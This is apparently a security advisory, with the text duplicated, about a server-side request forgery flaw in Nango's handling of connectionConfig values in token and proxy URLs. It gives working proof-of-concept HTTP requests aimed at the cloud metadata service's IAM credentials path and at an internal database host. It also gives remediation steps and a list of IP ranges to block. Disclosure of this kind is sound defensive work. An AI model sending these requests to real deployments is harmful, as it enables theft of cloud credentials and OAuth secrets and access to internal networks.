Summary
Nango interpolates user-controlled connectionConfig values directly into provider token_url and proxy.base_url templates without validating the resulting URL. An authenticated attacker (any holder of a public API key, connect session token, or secret key) can supply a malicious hostname through ?params[<key>]=<attacker-host> query parameters or through stored connection_config fields, forcing the Nango server to issue outbound HTTP requests to arbitrary addresses including cloud instance metadata services and internal network hosts.
Three distinct attack vectors share the same root cause: no SSRF protection is applied to URLs after connectionConfig interpolation. The vulnerability affects more than 40 providers and reaches the Nango server in OAuth2 client-credentials flows, two-step auth flows, and standard proxy requests.
Details
Root cause
The ?params query parameter and the connection_config request body field are parsed without value validation. getConnectionConfig accepts any string value:
// packages/shared/lib/utils/utils.ts:513
export function getConnectionConfig(queryParams: any): Record<string, string> {
const arr = Object.entries(queryParams).filter(([, v]) => typeof v === 'string');
return Object.fromEntries(arr) as Record<string, string>;
}
POST /connections validates connection_config with z.looseObject, which accepts any key-value pair:
// packages/server/lib/controllers/connection/postConnection.ts:39
connection_config: z
.looseObject({
oauth_scopes_override: z.string().array().optional()
})
.optional(),
The pattern constraints declared in providers.yaml under connection_config (e.g., "pattern": "^events\\.1password\\.(com|ca|eu)$") are not enforced server-side -- they appear only in the Connect UI form.
The resulting values are interpolated directly into provider URL templates and the result is passed to fetch/axios with no SSRF protection, no IP allowlist/denylist, no private-range blocking, and no hostname validation:
// packages/shared/lib/services/connection.service.ts:1212
const strippedTokenUrl = typeof provider.token_url === 'string'
? provider.token_url.replace(/connectionConfig\./g, '') : '';
const url = new URL(interpolateString(strippedTokenUrl, connectionConfig));
// ...
const fetchRes = await loggedFetch<Record<string, any>>(
{ url, method: 'POST', headers, body, agent },
{ ... }
);
// packages/shared/lib/services/proxy/utils.ts
const templateApiBase = interpolateString(provider.proxy.base_url, { connectionConfig });
const url = config.baseUrlOverride || templateApiBase;
Affected providers
More than 40 providers use ${connectionConfig.*} in their token_url or proxy.base_url. A non-exhaustive list:
| Provider |
Template |
Auth mode |
1password-users |
https://${connectionConfig.domain}/v1beta1/users/oauth2/token |
OAUTH2_CC |
1password-events |
https://${connectionConfig.domain} (proxy) |
OAUTH2 |
3cx |
https://${connectionConfig.domain}/connect/token |
TWO_STEP |
accelo |
https://${connectionConfig.subdomain}.api.accelo.com/oauth2/v0/token |
OAUTH2 |
adobe-workfront |
https://${connectionConfig.hostname}/attask/api (proxy) |
OAUTH2 |
auth0 |
https://${connectionConfig.subdomain}.auth0.com/oauth/token |
OAUTH2 |
auth0-cc |
proxy + token via connectionConfig.subdomain |
OAUTH2_CC |
bamboohr |
https://${connectionConfig.subdomain}.bamboohr.com/token.php |
OAUTH2 |
canvas-lms |
https://${connectionConfig.hostname} (proxy) |
OAUTH2 |
sentry-oauth |
connectionConfig-derived proxy |
OAUTH2 |
| ... 30+ more |
|
|
The OAUTH2_CC and TWO_STEP modes are most dangerous because they complete the token exchange server-side without any user browser redirect.
PoC
Prerequisites for all three vectors:
- A Nango instance (self-hosted on default docker-compose, or cloud)
- A valid Nango credential (public API key, connect session token, or secret key, depending on vector)
- An existing integration using one of the affected providers
Vector 1 -- OAUTH2_CC token URL injection via ?params
No stored connection or browser redirect required. The token exchange is fully server-side.
POST /oauth2/auth/my-1password-integration?public_key=pk_live_xxx¶ms[domain]=169.254.169.254 HTTP/1.1
Host: <nango-host>:3003
Content-Type: application/json
{"client_id": "dummy", "client_secret": "dummy"}
What Nango's server does:
getConnectionConfig({ domain: "169.254.169.254" }) -> { domain: "169.254.169.254" }
provider.token_url = "https://${connectionConfig.domain}/v1beta1/users/oauth2/token"
- After
replace(/connectionConfig\./g, ''): "https://${domain}/v1beta1/users/oauth2/token"
interpolateString(...) -> "https://169.254.169.254/v1beta1/users/oauth2/token"
fetch("https://169.254.169.254/v1beta1/users/oauth2/token", { method: "POST", ... })
The Nango server issues a POST to the AWS/GCP instance metadata service. The Authorization: Basic <base64(client_id:client_secret)> header is also sent to the attacker-controlled host, leaking those credentials in addition to enabling SSRF.
Vector 2 -- TWO_STEP token URL injection
The 3cx provider and other TWO_STEP providers follow the same pattern but use a different endpoint. The token exchange uses axios.post(url.toString(), ...) with no SSRF protection.
POST /auth/two-step/my-3cx?public_key=pk_live_xxx¶ms[domain]=169.254.169.254 HTTP/1.1
Host: <nango-host>:3003
Content-Type: application/json
{"credentials": {"clientId": "x", "clientSecret": "x"}}
Vector 3 -- Stored connectionConfig proxy base URL
For any provider with ${connectionConfig.hostname} or ${connectionConfig.domain} in proxy.base_url:
Step 1 -- Create a connection with a malicious hostname:
POST /connections HTTP/1.1
Host: <nango-host>:3003
Authorization: Bearer <secret-key>
Content-Type: application/json
{
"provider_config_key": "canvas-test",
"connection_id": "ssrf-conn",
"connection_config": { "hostname": "169.254.169.254" },
"credentials": { "type": "OAUTH2", "access_token": "dummy" }
}
The server stores the connection without validating the hostname value:
{
"connection_id": "ssrf-conn",
"connection_config": { "hostname": "169.254.169.254" },
"credentials": { "type": "OAUTH2", "access_token": "dummy" }
}
Step 2 -- Issue a proxy request through the connection:
GET /proxy/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: <nango-host>:3003
Authorization: Bearer <secret-key>
provider-config-key: canvas-test
connection-id: ssrf-conn
Nango resolves ${connectionConfig.hostname} to 169.254.169.254 and issues GET https://169.254.169.254/latest/meta-data/iam/security-credentials/.
Step 3 -- Confirmation against the internal Docker network. Setting connection_config: { "hostname": "nango-db" } and issuing any proxy request returns:
{
"message": "connect ECONNREFUSED 172.28.0.2:443",
"code": "ECONNREFUSED",
"url": "https://nango-db/api/v1/courses",
"method": "get"
}
The ECONNREFUSED and exposed internal IP 172.28.0.2 confirm the Nango server attempted a TLS connection to the internal PostgreSQL container.
Tested against: Nango v0.70.4, docker-compose self-hosted, commit 7be4067.
Impact
An attacker holding any Nango credential -- public API key, connect session token, or secret key obtained through environment variable leak, source code exposure, compromised backend service, or insider access -- can:
- Steal cloud credentials. Read AWS (169.254.169.254), GCP (metadata.google.internal), and Azure instance metadata services, obtaining IAM role credentials with potentially elevated cloud permissions.
- Map and reach internal services. Contact any service on the private network co-located with the Nango server: internal databases, message brokers, admin interfaces, Kubernetes API servers, and other microservices that trust traffic from the Nango host.
- Leak OAuth client credentials. In OAUTH2_CC flows, the
Authorization: Basic <base64(client_id:client_secret)> header is sent to the attacker-controlled host, exfiltrating those credentials in addition to enabling SSRF.
- Send arbitrary HTTP requests (including POST with body, attacker-controlled path, and headers) to internal services from the trusted Nango host.
Vector 1 (OAUTH2_CC) is the highest severity because it requires only a public API key -- available on Nango's free tier -- and completes server-side with no browser redirect. Vector 3 affects both self-hosted and cloud deployments.
Suggested Remediation
-
Validate connectionConfig values after URL interpolation. Reject any resolved URL whose hostname is a private, loopback, or link-local address:
const url = new URL(interpolateString(strippedTokenUrl, connectionConfig));
if (isPrivateAddress(url.hostname)) {
throw new NangoError('invalid_token_url');
}
The same check must be applied to proxy.base_url after interpolation in packages/shared/lib/services/proxy/utils.ts.
-
Use a blocking HTTP agent at the socket level for token exchange and proxy requests. Block RFC 1918 ranges (10/8, 172.16/12, 192.168/16), loopback (127/8, ::1), and link-local (169.254/16, fe80::/10) on actual resolved IPs to defeat DNS rebinding.
-
Enforce provider pattern constraints server-side. The pattern fields in providers.yaml under connection_config (e.g., ^events\.1password\.(com|ca|eu)$) should be enforced in postConnection.ts and getConnectionConfig, not only in the Connect UI form. Replace z.looseObject with strict per-provider schemas derived from providers.yaml.
Summary
Nango interpolates user-controlled
connectionConfigvalues directly into providertoken_urlandproxy.base_urltemplates without validating the resulting URL. An authenticated attacker (any holder of a public API key, connect session token, or secret key) can supply a malicious hostname through?params[<key>]=<attacker-host>query parameters or through storedconnection_configfields, forcing the Nango server to issue outbound HTTP requests to arbitrary addresses including cloud instance metadata services and internal network hosts.Three distinct attack vectors share the same root cause: no SSRF protection is applied to URLs after
connectionConfiginterpolation. The vulnerability affects more than 40 providers and reaches the Nango server in OAuth2 client-credentials flows, two-step auth flows, and standard proxy requests.Details
Root cause
The
?paramsquery parameter and theconnection_configrequest body field are parsed without value validation.getConnectionConfigaccepts any string value:POST /connectionsvalidatesconnection_configwithz.looseObject, which accepts any key-value pair:The
patternconstraints declared inproviders.yamlunderconnection_config(e.g.,"pattern": "^events\\.1password\\.(com|ca|eu)$") are not enforced server-side -- they appear only in the Connect UI form.The resulting values are interpolated directly into provider URL templates and the result is passed to
fetch/axioswith no SSRF protection, no IP allowlist/denylist, no private-range blocking, and no hostname validation:Affected providers
More than 40 providers use
${connectionConfig.*}in theirtoken_urlorproxy.base_url. A non-exhaustive list:1password-usershttps://${connectionConfig.domain}/v1beta1/users/oauth2/token1password-eventshttps://${connectionConfig.domain}(proxy)3cxhttps://${connectionConfig.domain}/connect/tokenaccelohttps://${connectionConfig.subdomain}.api.accelo.com/oauth2/v0/tokenadobe-workfronthttps://${connectionConfig.hostname}/attask/api(proxy)auth0https://${connectionConfig.subdomain}.auth0.com/oauth/tokenauth0-ccconnectionConfig.subdomainbamboohrhttps://${connectionConfig.subdomain}.bamboohr.com/token.phpcanvas-lmshttps://${connectionConfig.hostname}(proxy)sentry-oauthconnectionConfig-derived proxyThe
OAUTH2_CCandTWO_STEPmodes are most dangerous because they complete the token exchange server-side without any user browser redirect.PoC
Prerequisites for all three vectors:
Vector 1 -- OAUTH2_CC token URL injection via
?paramsNo stored connection or browser redirect required. The token exchange is fully server-side.
What Nango's server does:
getConnectionConfig({ domain: "169.254.169.254" })->{ domain: "169.254.169.254" }provider.token_url="https://${connectionConfig.domain}/v1beta1/users/oauth2/token"replace(/connectionConfig\./g, ''):"https://${domain}/v1beta1/users/oauth2/token"interpolateString(...)->"https://169.254.169.254/v1beta1/users/oauth2/token"fetch("https://169.254.169.254/v1beta1/users/oauth2/token", { method: "POST", ... })The Nango server issues a POST to the AWS/GCP instance metadata service. The
Authorization: Basic <base64(client_id:client_secret)>header is also sent to the attacker-controlled host, leaking those credentials in addition to enabling SSRF.Vector 2 -- TWO_STEP token URL injection
The
3cxprovider and other TWO_STEP providers follow the same pattern but use a different endpoint. The token exchange usesaxios.post(url.toString(), ...)with no SSRF protection.Vector 3 -- Stored connectionConfig proxy base URL
For any provider with
${connectionConfig.hostname}or${connectionConfig.domain}inproxy.base_url:Step 1 -- Create a connection with a malicious hostname:
The server stores the connection without validating the
hostnamevalue:{ "connection_id": "ssrf-conn", "connection_config": { "hostname": "169.254.169.254" }, "credentials": { "type": "OAUTH2", "access_token": "dummy" } }Step 2 -- Issue a proxy request through the connection:
Nango resolves
${connectionConfig.hostname}to169.254.169.254and issuesGET https://169.254.169.254/latest/meta-data/iam/security-credentials/.Step 3 -- Confirmation against the internal Docker network. Setting
connection_config: { "hostname": "nango-db" }and issuing any proxy request returns:{ "message": "connect ECONNREFUSED 172.28.0.2:443", "code": "ECONNREFUSED", "url": "https://nango-db/api/v1/courses", "method": "get" }The
ECONNREFUSEDand exposed internal IP172.28.0.2confirm the Nango server attempted a TLS connection to the internal PostgreSQL container.Tested against: Nango v0.70.4, docker-compose self-hosted, commit 7be4067.
Impact
An attacker holding any Nango credential -- public API key, connect session token, or secret key obtained through environment variable leak, source code exposure, compromised backend service, or insider access -- can:
Authorization: Basic <base64(client_id:client_secret)>header is sent to the attacker-controlled host, exfiltrating those credentials in addition to enabling SSRF.Vector 1 (OAUTH2_CC) is the highest severity because it requires only a public API key -- available on Nango's free tier -- and completes server-side with no browser redirect. Vector 3 affects both self-hosted and cloud deployments.
Suggested Remediation
Validate
connectionConfigvalues after URL interpolation. Reject any resolved URL whose hostname is a private, loopback, or link-local address:The same check must be applied to
proxy.base_urlafter interpolation inpackages/shared/lib/services/proxy/utils.ts.Use a blocking HTTP agent at the socket level for token exchange and proxy requests. Block RFC 1918 ranges (10/8, 172.16/12, 192.168/16), loopback (127/8, ::1), and link-local (169.254/16, fe80::/10) on actual resolved IPs to defeat DNS rebinding.
Enforce provider
patternconstraints server-side. Thepatternfields inproviders.yamlunderconnection_config(e.g.,^events\.1password\.(com|ca|eu)$) should be enforced inpostConnection.tsandgetConnectionConfig, not only in the Connect UI form. Replacez.looseObjectwith strict per-provider schemas derived fromproviders.yaml.